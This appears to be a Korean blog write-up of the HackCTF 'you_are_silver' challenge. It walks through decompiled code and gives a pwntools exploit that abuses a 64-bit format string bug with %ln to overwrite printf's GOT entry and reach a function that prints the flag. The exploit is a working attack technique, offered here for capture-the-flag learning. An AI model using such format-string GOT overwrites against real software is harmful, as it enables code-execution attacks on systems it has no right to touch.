Pwnable/hackCTF

you_are_silver (64bit fsb)

64bit 환경에서의 fsb를 이용하는 문제이다.

Writeup


File information


Code

Main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+28h] [rbp-8h]
  unsigned int v6; // [rsp+2Ch] [rbp-4h]
​
  setvbuf(stdout, 0LL, 2, 0LL);
  v6 = 50;
  puts("Please enter your name");
  fgets(&s, 46, stdin);
  printf(&s, 46LL);
  v5 = get_tier(v6);
  printf((const char *)v5);
  return 0;
}
  • Main함수는 다음과 같은 역할을 한다.
    • v6 변수에 50을 저장한다.
    • fgets함수를 이용하여 최대 46만큼 입력을 받는다.
    • printf함수로 입력값을 출력한다. (fsb 발생)
    • get_tier함수를 50을 저장한 v6을 인자로 호출하며, return값을 v5변수에 저장한다.
    • printf함수로 v5값을 출력한다.

get_tier

signed __int64 __fastcall get_tier(signed int a1)
{
  signed __int64 result; // rax
​
  if ( a1 > 50 )
  {
    if ( a1 > 65 || a1 <= 50 )
    {
      if ( a1 > 75 || a1 <= 65 )
      {
        if ( a1 > 75 )
        {
          puts("\nYou are challenger.");
          result = 4LL;
        }
      }
      else
      {
        puts("\nYou are master.");
        result = 3LL;
      }
    }
    else
    {
      puts("\nYou are platinum.");
      result = 2LL;
    }
  }
  else
  {
    puts("\nYou are silver.");
    result = 1LL;
  }
  return result;
}
  • get_tier함수는 다음과 같은 역할을 한다.
    • 인자 a1을 이용하여 첼린저 ~ 실버까지 나눈 후 각각 값을 리턴해준다.

play_game

void __fastcall __noreturn play_game(signed int a1)
{
  if ( a1 != 2 )
  {
    if ( a1 > 2 )
    {
      if ( a1 == 3 )
      {
        puts("master can't play game. Sorry! :(");
        exit(0);
      }
      if ( a1 == 4 )
      {
        puts("Challenger. Take this first!");
        system("cat ./flag");
      }
    }
    else if ( a1 == 1 )
    {
      puts("SILVER can't play game.");
      exit(0);
    }
    puts("Who are you? get out!");
    exit(0);
  }
  puts("platinum can't play game. :(");
  exit(0);
}
  • play_game함수는 다음과 같은 역할을 한다.
    • 인자 a1으로 여러 행동이 나뉜다.
      • a1 = 4 일떄 flag를 출력한다.
      • a1 = 1, 2, 3 중 하나이면 특정 문자열을 출력 후 exit 함수를 통하여 종료된다.

Exploit

문제는 간단하다. main의 v6값에 75 이상 값을 넣어준 후 printf_got에 play_game 주소로 overwrite를 해주면 get_tier함수 호출 이후 printf(4)가 play_game(4)로 호출이 되어 flag를 출력해준다.

exploit code

  • 유의할 점
    • 최대 46만큼 입력이 가능하기에 2바이트 씩 (%hn)으로는 불가능하다.
    • %n을 이용하면 앞 0x7f** 부분이 남아있어 play_game호출이 불가능하다.
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3022)
​
play_game = 0x4006d7
printf_got = 0x601028
​
py = ''
py += '%{}c'.format(play_game)
py += '%8$ln' 
py += 'A'*(8-len(py)%8)
print len(py) # 16
​
#offset 6 + 2
py += p64(printf_got)
print len(py)
py += "\x99" * (46-len(py))
​
p.sendlineafter("name", py)
​
p.interactive()

'Pwnable > hackCTF' 카테고리의 다른 글

ChildFSB (64bit fsb)  (0) 2020.03.24
babyfsb (64bit fsb)  (0) 2020.03.23
훈폰정음  (0) 2020.03.10
풍수지리설  (2) 2020.03.04
HackCTF UAF  (2) 2020.01.23